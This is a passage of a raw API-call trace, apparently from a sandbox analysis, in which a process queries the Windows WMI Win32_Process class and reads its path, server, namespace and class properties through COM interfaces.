returned 0x0 [0161.469] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd9050, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1bbd9050) returned 0x0 [0161.469] WbemLocator:IUnknown:Release (This=0x1bbd9050) returned 0x2 [0161.469] SysStringLen (param_1=0x0) returned 0x0 [0161.469] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b490, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0161.469] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b490, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0161.469] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b490, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.469] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bb50, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0161.469] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bb50, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0161.469] IWbemServices:GetObject (in: This=0x1bbd9050, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1bb91500, ppCallResult=0x0) returned 0x0 [0161.473] IWbemClassObject:Get (in: This=0x1bb91500, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0161.473] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0161.473] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0161.473] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0161.474] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0161.474] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0161.474] IUnknown:Release (This=0x1a943398) returned 0x1 [0161.476] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1bbd8720) returned 0x0 [0161.476] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbd8720, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0161.476] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbd8720, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1aa0b6d0) returned 0x0 [0161.476] WbemDefPath:IUnknown:Release (This=0x1bbd8720) returned 0x0 [0161.476] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b6d0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1aa0b6d0) returned 0x0 [0161.476] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b6d0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0161.477] WbemDefPath:IUnknown:AddRef (This=0x1aa0b6d0) returned 0x3 [0161.477] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b6d0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0161.477] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b6d0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0161.477] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b6d0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1bbd8740) returned 0x0 [0161.477] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbd8740, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0161.477] WbemDefPath:IUnknown:Release (This=0x1bbd8740) returned 0x3 [0161.477] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0161.477] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0161.477] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b6d0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0161.477] WbemDefPath:IUnknown:Release (This=0x1aa0b6d0) returned 0x2 [0161.477] WbemDefPath:IUnknown:Release (This=0x1aa0b6d0) returned 0x1 [0161.477] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0161.477] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0161.477] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b6d0, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1aa0b6d0) returned 0x0 [0161.477] WbemDefPath:IUnknown:AddRef (This=0x1aa0b6d0) returned 0x3 [0161.477] WbemDefPath:IUnknown:Release (This=0x1aa0b6d0) returned 0x2 [0161.477] WbemDefPath:IWbemPath:SetText (This=0x1aa0b6d0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0161.478] IWbemClassObject:Get (in: This=0x1bb91500, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0161.478] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0161.478] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0161.478] IWbemClassObject:Get (in: This=0x1bb91500, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0161.478] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0161.478] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0161.478] IWbemClassObject:Get (in: This=0x1bb91500, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0161.478] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0161.479] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0161.479] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0161.479] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0161.479] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0161.479] IUnknown:Release (This=0x1a943398) returned 0x1 [0161.481] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bbd8e20) returned 0x0 [0161.481] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbd8e20, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0161.481] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbd8e20, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1aa0b610) returned 0x0 [0161.481] WbemDefPath:IUnknown:Release (This=0x1bbd8e20) returned 0x0 [0161.481] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b610, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1aa0b610) returned 0x0 [0161.482] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b610, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0161.482] WbemDefPath:IUnknown:AddRef (This=0x1aa0b610) returned 0x3 [0161.482] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b610, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0161.482] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b610, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0161.482] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b610, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bbd8d40) returned 0x0 [0161.482] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbd8d40, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0161.482] WbemDefPath:IUnknown:Release (This=0x1bbd8d40) returned 0x3 [0161.482] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0161.482] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0161.482] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b610, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0161.482] WbemDefPath:IUnknown:Release (This=0x1aa0b610) returned 0x2 [0161.482] WbemDefPath:IUnknown:Release (This=0x1aa0b610) returned 0x1 [0161.482] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0161.483] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0161.483] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b610, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1aa0b610) returned 0x0 [0161.483] WbemDefPath:IUnknown:AddRef (This=0x1aa0b610) returned 0x3 [0161.483] WbemDefPath:IUnknown:Release (This=0x1aa0b610) returned 0x2 [0161.483] WbemDefPath:IWbemPath:SetText (This=0x1aa0b610, uMode=0x4, pszPath="") returned 0x0 [0161.483] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0161.483] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0161.483] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0161.483] IUnknown:Release (This=0x1a943398) returned 0x1 [0161.485] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bbd8e20) returned 0x0 [0161.486] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbd8e20, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0161.486] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbd8e20, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1aa0b0d0) returned 0x0 [0161.486] WbemDefPath:IUnknown:Release (This=0x1bbd8e20) returned 0x0 [0161.486] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b0d0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1aa0b0d0) returned 0x0 [0161.486] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b0d0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0161.486] WbemDefPath:IUnknown:AddRef (This=0x1aa0b0d0) returned 0x3 [0161.486] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b0d0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0161.486] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b0d0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0161.486] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b0d0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bbd8b80) returned 0x0 [0161.486] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbd8b80, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0161.486] WbemDefPath:IUnknown:Release (This=0x1bbd8b80) returned 0x3 [0161.486] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0161.487] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0161.487] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b0d0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0161.487] WbemDefPath:IUnknown:Release (This=0x1aa0b0d0) returned 0x2 [0161.487] WbemDefPath:IUnknown:Release (This=0x1aa0b0d0) returned 0x1 [0161.487] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0161.487] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0161.487] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b0d0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1aa0b0d0) returned 0x0 [0161.487] WbemDefPath:IUnknown:AddRef (This=0x1aa0b0d0) returned 0x3 [0161.487] WbemDefPath:IUnknown:Release (This=0x1aa0b0d0) returned 0x2 [0161.487] WbemDefPath:IWbemPath:SetText (This=0x1aa0b0d0, uMode=0x4, pszPath="") returned 0x0 [0161.487] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b0d0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0161.487] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b610, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0161.487] WbemDefPath:IWbemPath:GetClassName (in: This=0x1aa0b0d0, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0161.487] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0b0d0, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0161.487] WbemDefPath:IWbemPath:SetServer (This=0x1aa0b0d0, Name="Q9IATRKPRH") returned 0x0 [0161.487] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0161.487] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0161.487] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0161.487] IUnknown:Release (This=0x1a943398) returned 0x1 [0161.489] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bbd89c0) returned 0x0 [0161.490] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbd89c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0161.490] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbd89c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1aa0b3d0) returned 0x0 [0161.490] WbemDefPath:IUnknown:Release (This=0x1bbd89c0) returned 0x0 [0161.490] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b3d0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, 